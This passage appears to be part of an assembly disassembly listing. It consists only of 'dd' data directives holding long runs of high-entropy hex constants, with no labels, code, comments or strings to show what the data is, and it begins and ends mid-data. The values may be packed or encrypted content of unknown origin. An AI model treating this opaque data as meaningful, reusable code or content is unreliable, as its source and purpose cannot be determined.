		dd 2877AD84h, 0F2CFD6DCh, 3A1D250Eh, 0D29D04C8h, 139B9800h
		dd 0A25D8384h, 1253FD4h, 90D2738Eh, 0A06B66EDh,	8300C55Ah
		dd 99D9C105h, 0FDE988h,	0C0931E82h, 217F6106h, 17E41100h
		dd 975BC555h, 0F450B0A1h, 0D4D3914h, 1AA93680h,	45A26EFEh
		dd 80A3D63Dh, 3BE28473h, 242E6708h, 3D72AFC8h, 20F7480h
		dd 0EA0B44B5h, 3B01DA00h, 750E3638h, 7D2B0018h,	0F966B79Fh
		dd 24817A9h, 9D80004Ch,	62AC3235h, 12D090A0h, 40BED908h
		dd 809E1820h, 321C51CAh, 9C3AF704h, 0CF832ECCh,	0D06EA621h
		dd 237DF5Ah, 7D66B53Eh,	4C483538h, 0B7580A07h, 773C54E2h
		dd 0A58BFF07h, 9C30666Fh, 756AD8h, 0E5AD6201h, 6DF4A02Ah
		dd 2CD9CD00h, 0D5CF6828h, 0C33A0014h, 611FDEBBh, 4800AD36h
		dd 0A12E8164h, 94AE37h,	3D70783Bh, 24DBE731h, 3CB095EAh
		dd 934BD00h, 0ED867774h, 0E0B02Bh, 8418CBF1h, 0A9610F06h
		dd 7CF72401h, 9F70B4D3h, 148880C2h, 24610DCh, 0AF27199Ch
		dd 0E4E08797h, 9A00CE47h, 0FFE5634Bh, 0BC7BE7h,	1630F3E9h
		dd 25053804h, 82FA0E3Fh, 0B8D6C427h, 0B531E1CEh, 5C7FE840h
		dd 0B64100BAh, 0F5ABA984h, 4A27F19Eh, 0D2DC99h,	0A2B0C5B8h
		dd 5B00C70Eh, 285DE2BCh, 13C50C9h, 9C0FEAA3h, 71FD2254h
		dd 0FC7C3010h, 1CB51B00h, 0DE164DEDh, 93F400B8h, 0C16834CBh
		dd 9D58526Ah, 61C0288h,	4379149Bh, 0C0A480B9h, 0F22B0ECEh
		dd 845D9AD9h, 0A0359630h, 7002188h, 5FF42D11h, 4CB3A7A0h
		dd 0B900DEF6h, 0A47E7546h, 123C30EAh, 66BC39h, 0C7985292h
		dd 7C111FE4h, 6C9A4817h, 18F8151Fh, 0B40C4DEh, 0EA07911Ch
		dd 0C7023300h, 0D699EE82h, 1D1F0328h, 390046C5h, 754F223h
		dd 30C255EFh, 19192B5Eh, 8E00B26Ch, 9BA7EAD0h, 48B6FC78h
		dd 4A00940Ch, 6E03AB71h, 373D553Ah, 0EB5E8005h,	0DB8FCDCFh
		dd 40FB0A0h, 0E3C8D523h, 0D190C064h, 0A1005BD3h, 51F0BCD6h
		dd 32A4347h, 567C7F98h,	8F0BBCBh, 6B6773FEh, 0D1804930h
		dd 89039Fh, 0CBD3A692h,	5BF36393h, 20B7DF13h, 4A663500h
		dd 7B04F11h, 9D7812BFh
		dd 610870C6h, 342E5182h, 9B00C9E1h, 3B6AEF1Fh, 0E03E7052h
		dd 9F420057h, 546F0BF2h, 5A1DC6F0h, 0E40036CBh,	992907D7h
		dd 0F44A0097h, 0BC07FD3h, 0F906412Dh, 0FBF1454Eh, 0C6EF0141h
		dd 0B3C49771h, 4FBF6001h, 44153300h, 0D8610D9Ah, 0B0953CC7h
		dd 77DEC581h, 801210A7h, 0E5E23382h, 0DB6176h, 0AEE09B4Dh
		dd 69B3084Ch, 932ABE0Eh, 3B0C0057h, 4C1E9h, 0FBF875D9h
		dd 6028CC29h, 0C732E500h, 8E83A9B0h, 4C9213h, 0A3EA9A49h
		dd 8FBAD57Dh, 29C0F5FAh, 0A01DB3F9h, 0BB7C3D79h, 52246A1Eh
		dd 0CE6C03FCh, 0FAF0B8EAh, 0F0227D2h, 53A9121Ch, 4B5FCBCh
		dd 0C0A58E98h, 5AE3F900h, 4513AB03h, 0F8E8D629h, 1C9AB34Bh
		dd 0C0DC56D3h, 0C1BEE934h, 2C1F62E7h, 0BCC0C971h, 41F91FA9h
		dd 0F23CE2F6h, 7AAB00FBh, 8F3046E2h, 0E3B5BC8h,	0D2A1785h
		dd 57D4F40Eh, 0A524C004h, 755A8D01h, 42B0E056h,	8348E27Ah
		dd 0D700771Ah, 7039CFE9h, 499516h, 94BAAE73h, 7D859A74h
		dd 0F5548300h, 0C46F7C41h, 876B001Ch, 0B764AA13h, 2D136CC3h
		dd 0DC8098EEh, 7172C474h, 307D5982h, 4C516A03h,	111F04EAh
		dd 748009D8h, 0FE91502Dh, 0ED121624h, 347C00BCh, 0FD60EA69h
		dd 75519967h, 4F607137h, 75A4B13h, 0FEF12A03h, 0A89E28FFh
		dd 8D985880h, 1F2242D7h, 1456C4Eh, 0CAA798Ah, 2CC7C513h
		dd 0DB0E8008h, 6E3A2Ah,	0E7118302h, 9379FB4Ch, 0A816E84Ah
		dd 0EB121906h, 0D55C3A61h, 567B2C8Bh, 0CB79B980h, 6E00A9B8h
		dd 47953946h, 120350E4h, 80F72FF9h, 5DC9C564h, 0D5621C03h
		dd 1D5ACCE7h, 1DD058h, 677AD1EAh, 0C006F70h, 0DE527316h
		dd 0B85B91h, 46EED8F6h,	44BF9E1Fh, 880F0C9Ch, 53EB80F7h
		dd 1A3547h, 9196459Fh, 29DF51CFh, 196C0E07h, 0C9077DBFh
		dd 5CFC80F9h, 16D02E8Fh, 9D9DA1Ch, 3060DD93h, 9A70771Dh
		dd 0F76B2800h, 88CA87Ah, 0F1E86001h, 0D497AACDh, 0D089C100h
		dd 1D6593BDh, 5BE32DADh, 0E7683410h, 9D4B5100h,	0AFE68FB9h
		dd 3BC313C6h, 0F93C00E8h, 0C9352331h, 0AA24CE06h, 18D5D8h
		dd 147F9491h, 57830D47h, 0FA3D2501h, 0EB4ACCF9h, 4D1FFC5Ah
		dd 97803965h, 0BAEF3ED9h, 0D50464DEh, 0E70FA21h, 0A8697080h
		dd 10A91C86h, 494BC030h, 0FA66E53Eh, 4305F890h,	2DCB7611h
		dd 656E1887h, 8840F7DFh, 0C19074A1h, 63F2D8h, 41841E12h
		dd 0CCE0109Fh, 0DCFB9300h, 6582A091h, 87113ABFh, 1FC10600h
		dd 51954E69h, 195AE81Eh, 1F76ADh, 263F04ECh, 8F001220h
		dd 38CE9960h, 0B92E0Eh,	0B89B8E9Eh, 9DA5A12Dh, 0FF265A00h
		dd 0AC4C0378h, 0A9B9002Ch, 9A7F7D1Eh, 3F5C3EC1h, 0E1920000h
		dd 0BA4EE953h, 0DC730081h, 92A17AEh, 2006362h, 6B2D4456h
		dd 0B0559B26h, 54870098h, 10B47DA1h, 9500780Dh,	829E97E2h
		dd 0E516ABh, 0FA2D31CAh, 0AE12B6DFh, 4B495000h,	3FFD4D70h
		dd 6CCE0086h, 0F07E96CFh, 0E01B71Ah, 0DFA450E3h, 0A6D0D1D9h
		dd 970040Dh, 0BEC46AFDh, 7FA70AC0h, 21CE04Ah, 47D3FFB5h
		dd 0B1405154h, 0F3AA55Eh, 0C9D582FAh, 53611360h, 0D89D81FCh
		dd 24C0206Fh, 22009400h, 3D7F1EE5h, 90C9A0EFh, 287612E0h
		dd 0D3600040h, 338519C8h, 802C3E03h, 0C0350550h, 0EA0D1D0Bh
		dd 0F0C854A3h, 78744888h, 61B22586h, 0C3E9CD10h, 0C0389B74h
		dd 63782CE7h, 94C27924h, 3EE89C01h, 5834F425h, 4CE60071h
		dd 0A6EB0A4Bh, 0D0C0F11Bh, 6B3CFEE0h, 37CA0FD6h, 0BE20631Ch
		dd 2F16EEAh, 2F909F05h,	0BB14B79Eh, 995E00CEh, 56886BC7h
		dd 8B6300F1h, 648A3F45h, 0DA3A6AC0h, 0A2AF00A1h, 0B8766F9h
		dd 30E50968h, 8480A3F1h, 0F22AD2ABh, 80505F3Bh,	4AF84DC9h
		dd 0E807A0h, 0D46388A1h, 6F1DF13Eh, 600B9D0Fh, 949E7h
		dd 5B8A05Eh, 3E220039h,	2B2CBE3Bh, 0B300A289h, 83FDF00Ah
		dd 1EC3DA6Ch, 0C086AE84h, 2B59C5B7h, 1207AB73h,	0F38C26Fh
		dd 0F3ACCD20h, 0B97007Ch, 0DF02E810h, 7601DC01h, 6995C0A8h
		dd 0FCC481AFh, 0FB8033Dh, 0C4118CD3h, 0B1265800h, 8387BF90h
		dd 7840000Dh, 5C5D8ADFh, 2000B518h, 1C63B22Ch, 0D80A66h
		dd 8FDD52A6h, 7FA139D4h, 0CBEE5D28h, 5FBF4600h,	38044BCDh
		dd 33703AEAh, 1F09AD80h, 0E1F08A75h, 0F2257A1Dh, 0CA9D8039h
		dd 0EEB1284Ch, 0FAA0A397h, 8FB6C0A4h, 0B8A0045h, 0B1F1E5F0h
		dd 0E763DD4Ch, 8841BE90h, 307F3D1h, 0FD2D6E8Fh,	6600DB6Dh
		dd 0F83D05Ah, 3AF0CCABh, 0FA3CD903h, 0F360F372h, 586F00B0h
		dd 0E49A1B79h, 0CC0328A3h, 0C54D412Fh, 982BF372h, 8C0F31h
		dd 0B1E6C369h, 3EB4C2E8h, 75CA1E09h, 0F849805Ah, 98EC8Ch
		dd 0BE031733h, 16A551Ah, 0D591771Eh, 85D44580h,	58BD1C4Fh
		dd 8403D76Bh, 0E0ED03B0h, 1520C698h, 768A4000h,	0B3539668h
		dd 6FD21FDBh, 0E686C00Ah, 4A8E48Fh, 0E000A4EAh,	374A1F7Ch
		dd 77017635h, 39DE0371h, 68819F65h, 0FC4B73A1h,	0DC00329Bh
		dd 26C5F5B1h, 0CC0A3Fh,	0A7FD8220h, 83D185ECh, 0CBE90E07h
		dd 0B0801A54h, 0E40181h, 9B5BBECEh, 0B7C30967h,	0CCED0B00h
		dd 0DC06563Eh, 4F82009Ah, 13A00FBDh, 0AE00A344h, 9BE1C469h
		dd 41CCF3Dh, 0A504687h,	2A2CC035h, 0F800ED29h, 15C4EEE7h
		dd 0CEB1856h, 651EAAB0h, 0C6000820h, 9C3A2B22h,	1E6A547Ch
		dd 9C9AA979h, 0E6D90645h, 3CEA2864h, 0DC313Fh, 2D65AD9Eh
		dd 1D20E02Bh, 406DA239h, 0BD17F7B5h, 7016043h, 0EF0A101Eh
		dd 8020578Ah, 40480005h, 0A4655267h, 2100DE43h,	2B8A7893h
		dd 9D1F590h, 77595691h,	0BA536585h, 0AD204A87h,	73B5331Bh
		dd 6EFC8Fh, 0BD22AF18h,	1527E257h, 167D9200h, 0D5899EE3h
		dd 0D46B0775h, 65D7B9h,	0CCB0AAF0h, 8F9C4C01h, 9B8162ABh
		dd 0ACC09840h, 1C4D01CFh, 53B90B6Ch, 0A9F7EC39h, 0A89DBC03h
		dd 98F686E2h, 800D99h, 0DA93BB4Fh, 1005F01Dh, 4D472C00h
		dd 7482E668h, 6E9400D1h, 7CC56FF4h, 0CF0035D0h,	426B97B1h
		dd 7C74D6AAh, 7B3B3EEAh, 93EB8000h, 6D61B701h, 0FEC74603h
		dd 0DACE2662h, 81C48209h, 1FA4C0D5h, 523A0711h,	0C08697B8h
		dd 0A47B2690h, 0CF95F404h, 0AC80174Ah, 1E1DA3C5h, 0A0D836h
		dd 0B4DCE126h, 503EB92h, 73D2CF18h, 0FA5BB0D7h,	90C0A85h
		dd 1C8A370h, 8ECA8B8Dh,	0D840316Dh, 6C023265h, 63E9A42Bh
		dd 76D481BAh, 3182FE43h, 3B3C35CBh, 4C63E540h, 77001EF6h
		dd 95C639C0h, 5B347Ch, 85EB0273h, 363190C8h, 84004C90h
		dd 1C38CF04h, 0F7C9257h, 0B2569452h, 0FF1ECBA0h, 28002506h
		dd 3DBA4855h, 0E6DD8FEBh, 33F022h, 6B1F7A21h, 0C6C5B319h
		dd 553A5202h, 407ED3B9h, 269627B4h, 7C9BACh, 0A7D613CAh
		dd 6C005E7Dh, 8B8BD9Eh,	1E2E357Bh, 3978E7h, 2CF16822h
		dd 20E6C724h, 35969A07h, 32C0C10Ah, 594AD4h, 0CBB01267h
		dd 4602D18Bh, 50A0DA00h, 9D41E4DBh, 5928003Fh, 1E6513A9h
		dd 87002E64h, 59C4B60h,	48867Ch, 98B03F10h, 69E28CEEh
		dd 0C5007BE4h, 0E1CC4E7h, 0A9ABB112h, 59E4C98Ch, 6DF30156h
		dd 0CE23588Dh, 0D8046550h, 0EB0082E1h, 0A49C96F2h, 0E0D075D7h
		dd 0FF7938A8h, 351E6F80h, 640D3E2Ch, 341C9D00h,	1AE17660h
		dd 20FC59F0h, 57E97C0Fh, 30506880h, 47788AB1h, 6C959106h
		dd 0E88BAA5h, 6EDDB2D3h, 0FFE9CF80h, 18C0AD57h,	3FFCD605h
		dd 4D30C75Fh, 6CBF404Fh, 1C034504h, 0F2C2E54h, 2303A0D0h
		dd 5CC50044h, 35A74F6Ah
		dd 0FC2C7A39h, 7BC90CBh, 0B1059FDDh, 2A3FBF40h,	79C06065h
		dd 44B51646h, 5F30A801h, 0EF1ADE76h, 0FEEE6041h, 82D14840h
		dd 0C07772DDh, 0CCD37138h, 10A002E9h, 1CA0EB1Bh, 307BB070h
		dd 7F8E1600h, 0CC736BC3h, 6C89486Ah, 7432AA01h,	0E0863192h
		dd 0B000AF60h, 219E376Ch, 30019806h, 7A18B5BDh,	823C5441h
		dd 0DE9980CDh, 30EEFC47h, 20B96EA2h, 0AC506C63h, 0DB998001h
		dd 0A3224132h, 55153080h, 2A50DCA8h, 1611680Ch,	1BEF189Ch
		dd 409ACC30h, 31D2F4E0h, 6E835D1Eh, 52197C02h, 0B784008Ah
		dd 0D0C0CB7Dh, 0ECFE4B69h, 52B00CF8h, 0B4E9FDD4h, 6C6909C7h
		dd 0EF9C848Ah, 9851501Bh, 30219973h, 11D1BDD2h,	0C71C6BB3h
		dd 0B0BB85BEh, 48641C5h, 24957D87h, 8750B5D0h, 0E0A62B2Eh
		dd 98D71A30h, 0BE7C32FCh, 2C723916h, 74F33D06h,	81608060h
		dd 0ABB00D7h, 0AB527D32h, 0E007618h, 7FB021EFh,	0D3149Dh
		dd 6830173Ch, 58E4D61Eh, 0CF315D0Fh, 0AE001DACh, 2B420F40h
		dd 0D56E2860h, 63C60074h, 6F0E4541h, 1C002CF2h,	8B6553E3h
		dd 0CC3C1C7h, 5769FEE9h, 502F2B8h, 67FC8FD2h, 74040D4h
		dd 59C90290h, 0E9C7865Ah, 3300C044h, 4F614B08h,	7422F7EEh
		dd 0C5EA0F24h, 0D940F983h, 869D6C3Bh, 6F1F2D00h, 1CE035FCh
		dd 0C1720041h, 0DD31B8Bh, 9B28A7CBh, 0FE70A276h, 0F4894500h
		dd 2C64CFE8h, 2E1BF433h, 186DFBEh, 0D7C769D4h, 0D5818C8Eh
		dd 57E1F3h, 0FE0D415Bh,	0CAD45A14h, 8CCC354h, 1C2C0C3Dh
		dd 238F8218h, 416A8022h, 44D4793Bh, 5DB08E55h, 0BA1D3600h
		dd 0CBB51E50h, 0E39A0E81h, 72000E5Ch, 99FF6D5Eh, 0E9CE13Eh
		dd 1B2D70h, 1DD9B960h, 1BEEF89Eh, 18E0B480h, 261069D0h
		dd 47FA3001h, 17FB88E5h, 1337AE0h, 1E1375EAh, 981B0A0Bh
		dd 5A21ED09h, 0EBEA004Ah, 86A89457h, 62000974h,	0A9A09C31h
		dd 18FF7C5Eh, 309A2629h, 0FA0CDD83h, 18EC0CF8h,	302EF864h
		dd 46210BCFh, 3150AF37h, 2B19FEE1h, 49084F8Dh, 5F412184h
		dd 0A38DC0AFh, 0FD1E08CFh, 0AC410F48h, 21B97166h, 0B016D887h
		dd 3314C838h, 8CECAC68h, 0D8C2DE03h, 0FD02C9FCh, 30582418h
		dd 0BA60800Dh, 11233Ch,	0FB968BE2h, 7081FD8h, 0EAC53F32h
		dd 52F02088h, 180ECEC1h, 0C0FAD994h, 0A217AD04h, 1AA41C0Eh
		dd 48C40EE7h, 2BC031CEh, 3FBE7832h, 9D3E8EEEh, 56C887h
		dd 0F76C9E3Bh, 23D35h, 0A8223E98h, 0D3A0A385h, 0AFF61E00h
		dd 50D21C10h, 769A0047h, 0B4AD39B8h, 451CAA7Eh,	0F240F95Ah
		dd 4D021CD5h, 0C5A80087h, 145D3C69h, 0D307EF0Bh, 8A516F15h
		dd 0F5A750CCh, 0A6CC5980h, 0FC027A90h, 9FE88900h, 0D62638C9h
		dd 6C640F3Fh, 5120A4E2h, 82C1251Ah, 0DF957D06h,	41C201h
		dd 0DC72E3E6h, 0AD76F108h, 12D95100h, 0DAE04BC8h, 19096F9Eh
		dd 2048B201h, 0AFF7E02Ah, 2D0C500h, 0B18516E3h,	0EB2B0E1Dh
		dd 45619DECh, 80EA1952h, 0F8C0F4D0h, 0AB5879h, 4AE9047Dh
		dd 7F9AEE0h, 0A2BB58C7h, 4CEB37A1h, 0C699E6F0h,	19AC4371h
		dd 1EDB900h, 0E0EFBFA7h, 1E3B3A9Bh, 9C589E80h, 4452AEFCh
		dd 0CEB55A18h, 778A2170h, 9A2A00EBh, 0DA4DADD1h, 63335A3Ch
		dd 0A0BDA85Bh, 0EA8F237Fh, 5D473D56h, 0A1E9BC80h, 8D539C9Bh
		dd 2DC66F1Eh, 11EC1E40h, 0C97168Eh, 0B19B0BF8h,	4B056628h
		dd 0C787AE0Fh, 9EA777C1h, 301D18A4h, 0E6032B49h, 18F35A0Eh
		dd 2D65C3A9h, 774AE0A2h, 0D3CD0F05h, 536CEF0Fh,	0C71E7ED4h
		dd 1700F49Ah, 0E993647Bh, 4BD901D8h, 0D5ACBA18h, 318BCD7h
		dd 65CB2EAFh, 2010070Eh, 17D11A04h, 0B1609C30h,	0FE3E9A70h
		dd 64A480D0h, 665B6EDFh, 0AD750110h, 0D5274897h, 258086E4h
		dd 0CB1AF73h, 0A35B77BEh, 470099E0h, 85EBC6DAh,	18F08FDBh
		dd 10C7C39Fh, 0EF7CF3BAh, 0F2BEBF00h, 18FA38F8h, 167500EDh
		dd 0C621975Dh, 64008B9Fh, 8C19D204h, 0A83958h, 473DDF11h
		dd 0B9090ED1h, 80279E3Ah, 0B064F697h, 8F722Eh, 3ECDEB2Fh
		dd 7FC92524h, 401F1A1Ch, 0E1751340h, 364CB1h, 0F9B44197h
		dd 0F216E9DDh, 62FD7F26h, 6FF84300h, 78667C1h, 0EF17756Ch
		dd 0B898C0E9h, 0C0007E21h, 0C69FA599h, 14948CA9h, 0D28EF2E8h
		dd 0A3383600h, 0EA9E05FEh, 9A59AB0Eh, 0A616080h, 1FF7A44Ch
		dd 7C7B3Fh, 3C057EA0h, 20006DD8h, 0EC1557CAh, 1071AE5h
		dd 27443335h, 0CDA52DDAh, 0F4F20B6h, 55008B7Dh,	66A64F96h
		dd 90EF8FD7h, 253E00BBh, 7A332F10h, 69E6302Ch, 0F342D000h
		dd 862A4DB7h, 76E53FA7h, 0C095E91Dh, 57CBF00Ah,	810BE7C7h
		dd 4F42DFh, 7AA10CC3h, 0C1610684h, 0F06B639Fh, 112A8005h
		dd 0DC40A833h, 8392E3D8h, 69E400E9h, 0E913F94h,	1298765Dh
		dd 0C063AE1Dh, 0ECDFD4h, 2A06FC6h, 0FB24EEAh, 0C25E9D53h
		dd 0AD383F20h, 6A00F625h, 2962390Dh, 0A2DE66h, 0EDFF91DDh
		dd 3B6450E0h, 0E4192500h, 7EEA7695h, 0BAC600E1h, 0DF77F7CAh
		dd 92008757h, 31DD119Eh, 18D6183h, 0F01A4A2Eh, 0F3B0120Eh
		dd 2552F7A9h, 0B358E440h, 118E6E00h, 9AFA0F69h,	1C90725Ah
		dd 6425B9h, 0B23CCC0Bh,	5E00D1BDh, 6CE0D471h, 34906Fh
		dd 0A619B13Fh, 0BE4AA38h, 20424F02h, 60D21165h,	5629ABEh
		dd 5298F41h, 8AC079Fh, 1C9670D9h, 145A68BAh, 0F80000E8h
		dd 3D7FE6ECh, 0AC0064B0h, 6277F039h, 3E969038h,	0EF003C45h
		dd 0FFC05442h, 0A4A08720h, 1600A06Dh, 0B0916EDEh, 5DBEBAh
		dd 9711403Bh, 65CC2119h, 8B06C600h, 0CD2C4B44h,	0E9C90352h
		dd 6F88F122h, 0D8B68D98h, 0CC88952h, 0A8CD78A9h, 3C80C0EFh
		dd 0A29EEC29h, 6A008DE0h, 0CE268343h, 0DEB9C8h,	25C6A911h
		dd 0DA2D7E1Eh, 0C28CF012h, 58BDE446h, 168F00C8h, 0EEFD96Ah
		dd 98A03DB5h, 0E8001496h, 2B90E250h, 1574E6EDh,	0A8219D80h
		dd 0F7C60600h, 0ACB5127Ch, 0FAE29C00h, 11CF1ABFh, 6E440201h
		dd 93E1223Ch, 0EF7B3440h, 6CE85200h, 0C8C7AA21h, 0AD0D0092h
		dd 18355589h, 70008D06h, 5CAE3EE5h, 19FA67h, 5F88DED0h
		dd 0A659207Dh, 260C3704h, 0A8802B24h, 1DF2DB0h,	0C24E7C0Ah
		dd 70078D96h, 0AB0324B9h, 27BBF444h, 2CD8E020h,	0C80B03CBh
		dd 19DE5C49h, 0C33334E8h, 40EF8700h, 24F9C66Bh,	0F860E4F7h
		dd 410700D6h, 2D1EBF14h, 9A017A3Bh, 64668B40h, 0D0F8061Bh
		dd 6AAA0072h, 0BE090AEAh, 8300910Dh, 6B2A07E2h,	1E4ACA8Dh
		dd 0FFAE8B99h, 94007D3Eh, 2EBEE59Bh, 89026FA8h,	0DF223111h
		dd 0D390E01Ah, 0CBCD1F0Eh, 0A7C9C0CCh, 69B2F033h, 0DC9A6D09h
		dd 38C001D5h, 0E9606E14h, 0ECA7396h, 6806391Fh,	7D405020h
		dd 2FE6C5F8h, 57B3530Ch, 858829h, 0AE18984Ah, 0D73556D3h
		dd 0A8287817h, 3CBC00BFh, 0B04574E2h, 6047AA3Ah, 0CFEBD121h
		dd 0ABF70101h, 1A8EE1A1h, 26FB70CDh, 0D063CA3Ch, 7A600FADh
		dd 0CCD8F830h, 3B3F6D3h, 668D2783h, 6AA81E12h, 5E0039BEh
		dd 19A1E385h, 0A534FAh,	0DB3BE8C8h, 8AAE8C50h, 0F503FD00h
		dd 69D6B582h, 3ED90063h, 2DFEA587h, 2A000B1Ch, 2C0F2749h
		dd 3A34D1FCh, 0F6800113h, 0F46B8BEDh, 71050E92h, 1E0865C0h
		dd 3D33E680h, 13B7010Fh, 0D9744FC2h, 7C3C803Ch,	0F026961Ah
		dd 0C88C00A4h, 847FD386h, 9A003802h, 7DD80FA8h,	0EA3380C3h
		dd 0EE2F0072h, 81D0B279h, 15F0AE93h, 0D6454B00h, 0CD24677h
		dd 0BF7D0098h, 3B4A926h, 5304E574h, 93FCB733h, 9D20088h
		dd 0EE1BC6Ah, 64EB805Dh
		dd 0A45E0335h, 8E0F00ECh, 6AF3AC33h, 0F5030501h, 3AEF73A4h
		dd 2CE7D8F8h, 0D680157h, 390689B1h, 3D002A1Fh, 97771B87h
		dd 3ED7763Eh, 5680E0A9h, 0B201CE5Ch, 190765A3h,	648A0447h
		dd 6B38F490h, 13D702Eh,	0D53AD697h, 401D96AEh, 0A62A26D4h
		dd 33BFC00h, 67EB4E01h,	9DF200BCh, 0CE885A8Eh, 39038B9Ch
		dd 6F26A086h, 32D79927h, 1009C8h, 0C01915D5h, 62A3B904h
		dd 0AFC42F01h, 0A4BBD2Ch, 1E8D6080h, 0EB16E58Eh, 597B3D00h
		dd 8C90569h, 38A81BD4h,	0EC818994h, 0A30BC3Dh, 0ED7126C0h
		dd 55032E1Dh, 0E18E01BDh, 0A8F34EC2h, 6AD10Fh, 0D9169461h
		dd 9FD4B0EBh, 0F202058h, 45A2374Eh, 0CB0E27BFh,	15C03CC1h
		dd 0F23DCA17h, 2B460083h, 0DF1A086Bh, 0BF061F94h, 0C2A012AEh
		dd 0C0C56228h, 881054EAh, 0FAF6248Ch, 0FEED07D9h, 61C74532h
		dd 90F41660h, 720161E0h, 6B253A3Bh, 0C22DF82Ch,	50B85FFCh
		dd 4D26E0A0h, 0A0A2CF00h, 9F9870B6h, 0E80F03F4h, 7BE012B3h
		dd 0F6EF0788h, 412AF200h, 0FD0DF71Ch, 0F4BC00CBh, 0B142336Bh
		dd 4D1F7EE8h, 0E00708F8h, 0A1C0821Bh, 5151CCC2h, 9880BA20h
		dd 0B0B937B1h, 3400D7A4h, 5EA646F1h, 155A705h, 81F804B3h
		dd 40F57733h, 0F06AA1BCh, 6B601190h, 56E54710h,	0DEC0036Fh
		dd 0B6AA0971h, 0D452082Ah, 56BCEA00h, 9050F2A3h, 3ADD0165h
		dd 5DF5707h, 8D8C5088h,	0C618295Fh, 7D110935h, 9FAC0514h
		dd 0C11695C0h, 0D115FD04h, 8DCC402Fh, 0AC000E4Ah, 0A64BF1F4h
		dd 3C60319h, 3D27D793h,	50238817h, 0AC1000BAh, 15F5C0ABh
		dd 0F85E8085h, 0CE8707BEh, 1984AF00h, 1CFEBD95h, 23940008h
		dd 76CD5D1Dh, 0F4064139h, 6C92A48Dh, 0A2707E0h,	9006C9B3h
		dd 0ED3D6A09h, 1708D165h, 0AABBB040h, 1B79CAh, 0FE0D7FD5h
		dd 0FC21E6A5h, 0DFE141C0h, 34A0A06h, 1EAFB693h,	9AA8AB2Ah
		dd 0E77E264Dh, 0EE20C01h, 2BC7F95h, 5D1C8083h, 9000B0F5h
		dd 2DE14D87h, 9691A5h, 0F8EDC233h, 19CFD576h, 3CAB7C00h
		dd 48302C50h, 1856007Ah, 0E71FD60h, 0D4005CA0h,	22249047h
		dd 26D12B3Bh, 79BAB7h, 2C1149CEh, 9200BDAAh, 54E60C52h
		dd 3DE285h, 2820B514h, 4F03BE3Ch, 4E8BAB03h, 0E2E92B3Ah
		dd 0A104BE3Bh, 10804876h, 0DBE444A8h, 0F800C516h, 0E3634AC4h
		dd 9074BDC3h, 4C87018Ah, 7AA8E771h, 242990E1h, 44C03184h
		dd 0DC445F73h, 424048D7h, 1F26D067h, 95730051h,	5DE8A532h
		dd 0A4003778h, 6D02F3FAh, 8728E5h, 46D29921h, 14FC3E6Eh
		dd 20EF89B8h, 6C03DDD0h, 0F434FBC4h, 2E7A001Bh,	0FEF3C57Ch
		dd 0EF0658ADh, 743323D0h, 3E4300F1h, 1B174755h,	0A7007511h
		dd 22546245h, 2A969h, 51C1ADE7h, 772B1B0Dh, 0C4009F76h
		dd 0F8B805F5h, 74B98512h, 9C9500FBh, 8AD3758h, 0AE2515B3h
		dd 3F30D461h, 0D3EE2A00h, 383B3EE4h, 67B56300h,	2F9D597Ch
		dd 0ED690036h, 4517AA14h, 47008A2Ah, 3243DA74h,	637E5Fh
		dd 0FC1C04F6h, 4849D031h, 42B51301h, 0C9C2BA5h,	3336F0h
		dd 967DC8BEh, 0D397258h, 1347DB00h, 270C1A29h, 37FC1883h
		dd 0C96420B0h, 0F1C0A418h, 1E2F231h, 0ED327585h, 80E79C19h
		dd 0B1C89219h, 1CE3F96Ch, 80991697h, 327165CEh,	49021ECAh
		dd 0C11F2613h, 0B41140D9h, 0E3669073h, 8D72AC40h, 0B58417DEh
		dd 80101B95h, 0C26998F0h, 80D9683Fh, 1AD7F456h,	0B645A0h
		dd 4B4F5767h, 39A7C406h, 0D0916E00h, 0ADEE4063h, 0E7441E10h
		dd 21CE4089h, 3B1AF2D6h, 0F6C7B900h, 78A3D1D9h,	5D10015Ch
		dd 67AFBC1Ch, 93DBD868h, 6000E871h, 7C815561h, 2ECFDFA0h
		dd 0D3FF9Ah, 7235CC1Eh,	6A003EA4h, 94872EC4h, 36EAA90h
		dd 7848A525h, 85E08B27h, 0A000D937h, 92A3ADC8h,	45062E2h
		dd 870178CDh, 0CF24802Ch, 1B0008D8h, 48DB0B6Bh,	85D2B7h
		dd 2228E612h, 29F13589h, 2B794004h, 0B1C77A8Eh,	762EBFA0h
		dd 460B00DDh, 95217F99h, 0F5041D10h, 2D0390AFh,	0AAE95580h
		dd 5F7A4Ch, 0D96235Bh, 0A243C336h, 1B353Dh, 880EA486h
		dd 374D5B0h, 0AB581A78h, 0D1E89B03h, 1B1F7318h,	0C3836FA1h
		dd 0C8DD3F51h, 0FCB1455h, 0AF9ED452h, 5F3AA460h, 8C003460h
		dd 0F2506E92h, 1DBF890h, 4B9C9379h, 0F8573BB3h,	0E6000F7Ah
		dd 744C42C5h, 0AB407Eh,	28525DFBh, 664DCBA5h, 116B7D01h
		dd 173BE24Ch, 0D08E20h,	0DCF78690h, 2AF9EA7Ch, 0BFEDC600h
		dd 0DD9BFACDh, 2CD905DEh, 11F5FCFh, 0A1B377A8h,	0AA76CC05h
		dd 27DFD100h, 0F0317A7Dh, 3BEF00FAh, 41A6C07Ch,	14E40613h
		dd 0D5AC5E16h, 23562B00h, 7E170Eh, 95491C59h, 5C8B85Ch
		dd 820CA8A0h, 15BD200h,	734F8420h, 0F8B0C99Eh, 0EFAF420h
		dd 5800C5A6h, 0ED2453C4h, 0AA2A07h, 0EC5A6308h,	1C1D4BABh
		dd 12C65400h, 0BED0CCC4h, 2C1E0EDDh, 8500CAF1h,	0F3E7A33Dh
		dd 9B25721Ch, 0C151F500h, 3BF2AEAFh, 4184205Ah,	814AD3E6h
		dd 0F4E0C474h, 0A058605Eh, 0B76E007Fh, 0F889155Ah, 1B0E4h
		dd 414C255Fh, 0D80F4082h, 27243809h, 0F20D008Ch, 3BDB1E91h
		dd 7E0E8068h, 2520C4EBh, 3A06D426h, 9323F401h, 95362E08h
		dd 153F030h, 1F4B761Ah,	0C83A2A5Fh, 930084B3h, 0C4C2EAFBh
		dd 0D87779h, 4EFDACECh,	94A7C1AFh, 70002090h, 891B493Fh
		dd 9AA684h, 0F526ED0Eh,	0D145168Eh, 697C627Eh, 4611E400h
		dd 4A643284h, 0C50070Fh, 0E36851F3h, 0A8B00791h, 0B7062E02h
		dd 21E51C5Fh, 2D7C98h, 0D8428028h, 220EE0DFh, 0FC02A600h
		dd 0BC7A6BE3h, 0A19D0719h, 80C03960h, 0EBEFED23h, 2BDC2F1Dh
